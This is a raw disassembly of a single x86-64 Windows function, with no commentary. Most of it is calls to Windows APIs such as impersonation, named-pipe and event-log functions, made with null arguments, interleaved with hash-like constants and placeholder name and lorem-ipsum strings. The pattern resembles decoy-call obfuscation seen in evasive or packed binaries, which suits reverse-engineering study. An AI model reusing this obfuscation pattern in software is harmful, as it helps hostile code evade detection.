mov ecx, 0x765c8047
call fcn.00414620
mov rdx, qword [0x004caa10]
mov ecx, 0x9be17a5c
mov dword [rdx], eax
mov rax, qword [0x004ca410]
mov eax, dword [rax]
mov dword [r14], eax
call fcn.00414620
mov rcx, qword [0x004ca4e0]
mov dword [rcx], eax
mov rax, qword [0x004ca600]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cae50]
lea r8, str.SalvadorKozey
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r15
lea rcx, str.Facere_dignissimos_quia_eveniet_quo_occaecati_tempora_assumenda
mov rax, qword [rsp + 0x68]
call rax
mov ecx, 0xd8240180
call fcn.00414620
mov rdx, qword [0x004ca1f0]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x50]
call rax
lea rdx, str.Aperiam_assumenda_soluta_vel_explicabo_minus
lea rcx, str.BridgetteHermanIII
call r12
lea rdx, str.EmieHirthe
lea rcx, str.Veritatis_consequatur_facere
call r12
xor ecx, ecx
call rdi
mov rax, qword [0x004caa10]
mov rdx, qword [0x004ca6f0]
xor ecx, ecx
mov dword [rax], 0x601ff6ee
mov rax, qword [0x004ca420]
mov eax, dword [rax]
mov dword [rdx], eax
call rsi
xor ecx, ecx
call rsi
mov rax, qword [0x004ca680]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cab30]
mov dword [rax], edx
xor edx, edx
mov rax, qword [rsp + 0x98]
mov dword [rsp + 0x20], 0
call rax
mov rax, qword [0x004ca3d0]
xor ecx, ecx
mov dword [rax], 0x4e644395
mov rax, qword [0x004ca2d0]
mov edx, dword [rax]
mov rax, qword [0x004cab00]
mov dword [rax], edx
mov rax, qword [rsp + 0x90]
call rax
xor ecx, ecx
call rbx
mov rax, qword [0x004caaf0]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xd1a02b85
mov rax, qword [0x004ca390]
mov dword [rax], 0x60cf5f96
mov rax, qword [rsp + 0x78]
call rax
xor ecx, ecx
call rbx
xor ecx, ecx
call rbx
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x70]
call rax
mov r14, qword [0x004ca570]
xor ecx, ecx
mov dword [r14], 0xf70882dc
call qword [sym.imp.KERNEL32.dll_SetCommBreak]
mov rax, qword [0x004cab50]
mov r12, qword [0x004cac90]
mov edx, dword [rax]
mov rax, qword [0x004cac80]
mov ecx, dword [r12]
mov dword [rax], edx
mov rax, qword [0x004ca690]
mov dword [rax], 0xde60e793
call fcn.00414620
mov dword [r12], eax
mov rax, qword [0x004caea0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca280]
mov rcx, qword [0x004ca4f0]
mov dword [rdx], eax
mov rax, qword [0x004caa80]
mov eax, dword [rax]
mov dword [rcx], eax
lea rcx, str.Aspernatur_ad_doloribus_et_commodi_voluptatem_aut
mov rax, qword [rsp + 0x68]
call rax
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
xor ecx, ecx
call r13
mov ecx, 0xaf77f8f5
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca460]
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rax
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0xb0]
call rax
xor ecx, ecx
call rbp
mov rax, qword [0x004ca6b0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca3c0]
xor ecx, ecx
mov dword [rdx], eax
call rsi
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 0
xor edx, edx
mov rax, qword [rsp + 0x80]
xor ecx, ecx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
mov ecx, 0xeb4bac1a
call fcn.00414620
mov rdx, qword [str.Z2iy]
mov dword [rdx], eax
mov rax, qword [0x004ca330]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca630]
xor r8d, r8d
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0xa8]
call rax
mov ecx, 0x16a6c622
call fcn.00414620
mov rdx, qword [0x004caf60]
lea rcx, str.MrLowellRoob
mov dword [rdx], eax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
lea r8, str.Mollitia_fugit_sequi_quia_non_et_aut_itaque_vero_quis_placeat_quod_et
xor edx, edx
xor ecx, ecx
call r15
mov rax, qword [0x004caab0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caa00]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cac40]
mov dword [rax], 0x761ccc78
mov rax, qword [0x004ca240]
mov edx, dword [rax]
mov rax, qword [0x004caf30]
mov dword [rax], edx
xor edx, edx
mov rax, qword [rsp + 0x70]
call rax
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x70]
call rax
mov rax, qword [0x004cabc0]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x4b2f0630
mov rax, qword [rsp + 0x78]
call rax
mov ecx, 0x56eb5e99
call fcn.00414620
mov rdx, qword [0x004ca2e0]
lea r8, str.PansyAufderhar
mov dword [rdx], eax
xor edx, edx
xor ecx, ecx
call r15
lea rcx, str.KayleePfannerstill
mov rax, qword [rsp + 0x60]
call rax
xor ecx, ecx
call rdi
lea r8, str.Possimus_et_sit_quibusdam_est_quidem_reiciendis_et_soluta_ex
xor edx, edx
xor ecx, ecx
call r15
mov rax, qword [0x004ca300]
xor ecx, ecx
mov dword [rax], 0xad57bfeb
call r13
lea rcx, str.Culpa_doloribus_voluptates_blanditiis_eum
mov rax, qword [rsp + 0x68]
call rax
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call rax
xor ecx, ecx
call rsi
lea rcx, str.FlorineCummings
mov rax, qword [rsp + 0x60]
call rax
mov rax, qword [0x004ca430]
xor ecx, ecx
mov dword [rax], 0x6a51b2cd
mov rax, qword [0x004caec0]
mov edx, dword [rax]
mov rax, qword [0x004ca210]
mov dword [rax], edx
mov rax, qword [0x004cae60]
mov edx, dword [rax]
mov rax, qword [0x004ca5b0]
mov dword [rax], edx
call rbx
mov rax, qword [0x004caf80]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca640]
mov dword [rax], edx
call r13
mov rax, qword [0x004ca2c0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cae30]
mov dword [rax], edx
xor edx, edx
mov rax, qword [rsp + 0xa0]
call rax
mov rax, qword [0x004caf80]
mov rbx, qword [0x004ca4a0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rbx], eax
mov rax, qword [rsp + 0xb8]
call rax
xor ecx, ecx
call rsi
mov rax, qword [0x004caba0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cac60]
mov dword [rax], edx
call rdi
lea r8, str.Saepe_dolores_asperiores_voluptatem
xor edx, edx
xor ecx, ecx
call r15
mov rax, qword [0x004cada0]
mov rdi, qword [0x004cabd0]
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004caaa0]
mov dword [rax], 0xc0d24833
mov rax, qword [0x004ca720]
mov ecx, dword [rax]
call fcn.00414620
mov dword [r14], eax
mov rax, qword [rsp + 0xf0]
movups xmm0, xmmword [rsp + 0xe0]
lea rdx, [rsp + 0xc0]
movsxd r9, dword [rsp + 0x9b8]
mov r8, qword [rsp + 0x9b0]
mov rcx, qword [rsp + 0x88]
mov qword [rsp + 0xd0], rax
movups xmmword [rsp + 0xc0], xmm0
call fcn.004032ff
mov rax, qword [0x004cacb0]
cmp dword [rax], 0
je 0x40bb0f
mov rbp, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor ecx, ecx
call rbp
mov rdi, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.DollyDickinson
call rdi
mov ecx, 0x1031e29a
call fcn.00414620
mov rbx, qword [0x004ca550]
mov ecx, 0x77ecc109
mov dword [rbx], eax
call fcn.00414620
mov rdx, qword [0x004ca7b0]
mov dword [rdx], eax
mov rax, qword [0x004cac70]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caf50]
mov ecx, 0x82dd0557
mov dword [rdx], eax
mov rax, qword [0x004caac0]
mov dword [rax], 0x5fbcebc2
call fcn.00414620
mov rbx, qword [0x004ca600]
mov ecx, 0xc7694503
mov r10, qword [0x004cab80]
mov dword [rbx], eax
mov rax, qword [0x004ca750]
mov edx, dword [rax]
mov rax, qword [0x004ca770]
mov dword [rax], edx
mov edx, dword [r10]
mov rax, qword [0x004caf30]
mov dword [rax], edx
call fcn.00414620
mov rbx, qword [0x004caf20]
xor edx, edx
xor ecx, ecx
xor r9d, r9d
xor r8d, r8d
mov dword [rbx], eax
mov rax, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x50], rax
call rax
lea rcx, str.DenisHoppe
call rdi
mov rsi, qword [sym.imp.KERNEL32.dll_FindClose]
xor ecx, ecx
call rsi
xor r9d, r9d
xor r8d, r8d
mov rbx, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
xor edx, edx
xor ecx, ecx
call rbx
mov r13, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
call r13
mov rax, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x58], rax
call rax
mov rax, qword [0x004ca7a0]
xor ecx, ecx
mov dword [rax], 0xc2cb9a4f
call rbp
mov r10, qword [0x004cab80]
mov rax, qword [0x004ca520]
xor ecx, ecx
mov edx, dword [r10]
mov dword [rax], edx
call rsi
mov rax, qword [0x004cadd0]
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [0x004cac80]
xor edx, edx
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x004ca730]
xor ecx, ecx
mov dword [rax], 0x653e0011
mov rax, qword [0x004ca620]
mov dword [rax], 0xb4bb70fe
mov rax, qword [rsp + 0x50]
mov dword [rsp + 0x20], 0
call rax
mov rax, qword [0x004cab70]
mov rdx, qword [0x004caec0]
xor ecx, ecx
mov r12, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
call r12
lea rcx, str.Ut_velit_tempora_asperiores_in_quis_odio_quia_nulla_minima
call rdi
mov ecx, 0xcbacc224
call fcn.00414620
mov rcx, qword [0x004cac80]
mov r14, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
mov dword [rcx], eax
xor ecx, ecx
call r14
mov rax, qword [0x004ca4c0]
lea rcx, str.MrAlfonzoBergnaumV
mov dword [rax], 0x69271305
mov rax, qword [0x004caa50]
mov dword [rax], 0x27c55ab8
mov rax, qword [0x004cac50]
mov dword [rax], 0x4e4bd3cf
mov rax, qword [0x004cad90]
mov edx, dword [rax]
mov rax, qword [0x004caf40]
mov dword [rax], edx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
mov r11, qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, str.ProfSuzanneLowe
mov qword [rsp + 0x60], r11
call r11
mov rax, qword [str.7U5]
mov r15, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
mov dword [rax], 0x23e19f6
call r15
xor ecx, ecx
call rsi
mov rax, qword [0x004ca620]
mov ecx, 0xa89567a9
mov edx, dword [rax]
mov rax, qword [0x004cae00]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004ca2c0]
lea rcx, str.Perferendis_atque_adipisci_accusamus_autem_non_ea
mov dword [rdx], eax
call rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor ecx, ecx
call r14
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rbx
mov r11, qword [rsp + 0x60]
lea rcx, str.Eos_sit_expedita_dolor_ut_doloremque_ut_pariatur_est_id_recusandae_quidem_sint
call r11
mov ecx, 0xa14798cb
call fcn.00414620
mov rdx, qword [0x004ca600]
mov dword [rdx], eax
mov rax, qword [0x004ca370]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca7d0]
mov dword [rdx], eax
xor edx, edx
xor ecx, ecx
call r12
xor ecx, ecx
call r15
xor ecx, ecx
call r13
mov ecx, 0x2f2c0680
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca590]
mov r13, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
mov dword [rdx], eax
xor edx, edx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call r13
mov ecx, 0xbbc8ed19
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004cab00]
mov dword [rdx], eax
mov rax, qword [0x004ca4e0]
xor edx, edx
mov dword [rax], 0x6b6bc098
mov rax, qword [str.eNl.h_Q]
mov dword [rax], 0x41a00138
call rbx
xor edx, edx
xor ecx, ecx
call r12
xor ecx, ecx
call r14
mov rbx, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [0x004ca730]
xor ecx, ecx
mov dword [rax], 0xa001b7dd
mov rax, qword [0x004cae90]
mov dword [rax], 0x1e6e5399
mov rax, qword [0x004ca6a0]
mov dword [rax], 0x46b33e01
mov rax, qword [0x004cac40]
mov edx, dword [rax]
mov rax, qword [0x004ca7e0]
mov dword [rax], edx
call r15
lea rdx, str.ProfJedidiahGoldnerDDS
lea rcx, str.Et_eum_voluptate_eos_quis_ratione_est_aliquam_sunt_voluptatem_quia
call qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
xor ecx, ecx
call rbp
xor ecx, ecx
call r15
mov rax, qword [0x004caa70]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca6b0]
mov dword [rax], edx
mov rax, qword [0x004ca2d0]
mov dword [rax], 0x8416bdfe
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [0x004ca750]
mov edx, dword [rax]
mov rax, qword [0x004cae10]
mov dword [rax], edx
mov rax, qword [0x004caec0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca670]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca4c0]
mov edx, dword [rax]
mov rax, qword [0x004ca610]
mov dword [rax], edx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor edx, edx
xor ecx, ecx
call rbx
mov ecx, 0xa0072e84
call fcn.00414620
mov rdx, qword [0x004ca720]
mov ecx, 0xafffcca4
mov dword [rdx], eax
call fcn.00414620
mov r10, qword [0x004cab80]
xor edx, edx
xor ecx, ecx
xor r9d, r9d
xor r8d, r8d
mov dword [r10], eax
mov rax, qword [rsp + 0x50]
mov dword [rsp + 0x20], 0
call rax
mov r15, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r15
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call r13
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call r13
mov ecx, 0xcfaa929f
call fcn.00414620
mov rdx, qword [0x004ca540]
xor ecx, ecx
mov dword [rdx], eax
call rbp
mov rax, qword [0x004ca4e0]
mov ecx, dword [rax]
call fcn.00414620
mov rcx, qword [0x004caf20]
mov dword [rcx], eax
mov rax, qword [0x004caaa0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca680]
mov dword [rax], edx
mov rax, qword [0x004cab70]
mov edx, dword [rax]
mov rax, qword [0x004ca400]
mov dword [rax], edx
call rsi
mov r10, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
mov qword [rsp + 0x50], r10
call r10
mov rax, qword [0x004ca340]
xor ecx, ecx
mov dword [rax], 0xaa448f65
mov rax, qword [0x004ca800]
mov edx, dword [rax]
mov rax, qword [0x004cab40]
mov dword [rax], edx
call rbp
mov rax, qword [0x004caae0]
mov ecx, dword [rax]
call fcn.00414620
mov rbp, qword [0x004ca650]
xor edx, edx
xor ecx, ecx
lea r8, str.Eveniet_qui_et_vel
mov dword [rbp], eax
call qword [sym.imp.KERNEL32.dll_OpenEventA]
mov rax, qword [0x004ca480]
lea rcx, str.AlexandroSchneiderSr
mov dword [rax], 0x577431b3
mov rax, qword [0x004ca430]
mov dword [rax], 0x8cdc24b5
call rdi
mov rax, qword [0x004ca290]
mov r10, qword [rsp + 0x50]
xor ecx, ecx
mov dword [rax], 0x7a232a00
mov rax, qword [0x004ca260]
mov dword [rax], 0xa765c70f
call r10
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r15
mov ecx, 0xd7f3d8e7
call fcn.00414620
mov rdx, qword [0x004cabc0]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004ca9f0]
mov rdi, qword [0x004ca3d0]
xor ecx, ecx
mov dword [rax], 0x850b95a9
mov rax, qword [0x004ca7a0]
mov dword [rdi], 0x88d42f63
mov dword [rax], 0xcfdba25f
mov rax, qword [0x004cae30]
mov dword [rax], 0x775c8129
call rsi
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [0x004ca530]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca6e0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cae70]
xor edx, edx
mov dword [rax], 0x6eec4718
call rbx
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r15
mov rax, qword [0x004ca250]
mov dword [rax], 0x352c262d
mov rax, qword [0x004ca3e0]
mov edx, dword [rax]
mov rax, qword [0x004caf60]
mov dword [rax], edx
mov rax, qword [0x004ca2b0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cad10]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x58]
call rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCommMask]
mov rax, qword [0x004ca1e0]
mov rsi, qword [0x004cac80]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rsi], eax
call r14
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rbp], 0xf08cc53c
call r15
mov ecx, 0x1cc3bbc5
call fcn.00414620
mov rsi, qword [0x004ca550]
xor ecx, ecx
mov dword [rsi], eax
call qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor edx, edx
xor ecx, ecx
call rbx
mov ecx, dword [rdi]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca280]
mov dword [rdx], eax
xor edx, edx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call r13
xor edx, edx
xor ecx, ecx
call r12
mov r10, qword [rsp + 0x50]
xor ecx, ecx
call r10
jmp 0x40bb0f
cmp qword [rsp + 0x88], 0
jne 0x40b364
add rsp, 0x968
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret